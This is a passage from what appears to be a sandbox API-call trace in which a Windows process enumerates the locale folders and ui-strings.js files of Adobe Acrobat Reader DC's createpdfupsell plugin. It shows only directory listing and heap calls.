hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.098] GetProcessHeap () returned 0xc10000 [0249.098] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.099] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0249.099] GetProcessHeap () returned 0xc10000 [0249.099] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.228] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.229] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.229] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.229] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.229] GetProcessHeap () returned 0xc10000 [0249.229] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.229] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0249.229] GetProcessHeap () returned 0xc10000 [0249.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.230] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.230] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.231] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.231] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.231] GetProcessHeap () returned 0xc10000 [0249.231] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.231] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0249.231] GetProcessHeap () returned 0xc10000 [0249.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.232] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.232] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.232] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.232] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.233] GetProcessHeap () returned 0xc10000 [0249.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.233] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0249.233] GetProcessHeap () returned 0xc10000 [0249.233] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.235] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.235] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.235] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.235] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.235] GetProcessHeap () returned 0xc10000 [0249.235] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.235] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0249.235] GetProcessHeap () returned 0xc10000 [0249.235] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0249.236] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.236] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.236] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.236] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0249.236] GetProcessHeap () returned 0xc10000 [0249.236] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.236] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0249.237] GetProcessHeap () returned 0xc10000 [0249.237] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0249.237] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.237] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.237] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0249.237] GetProcessHeap () returned 0xc10000 [0249.237] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.237] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0249.237] GetProcessHeap () returned 0xc10000 [0249.238] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.238] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.238] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.238] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.239] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.239] GetProcessHeap () returned 0xc10000 [0249.239] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.239] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0249.239] GetProcessHeap () returned 0xc10000 [0249.239] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.240] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.240] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.240] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.240] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.240] GetProcessHeap () returned 0xc10000 [0249.240] HeapFree (in: 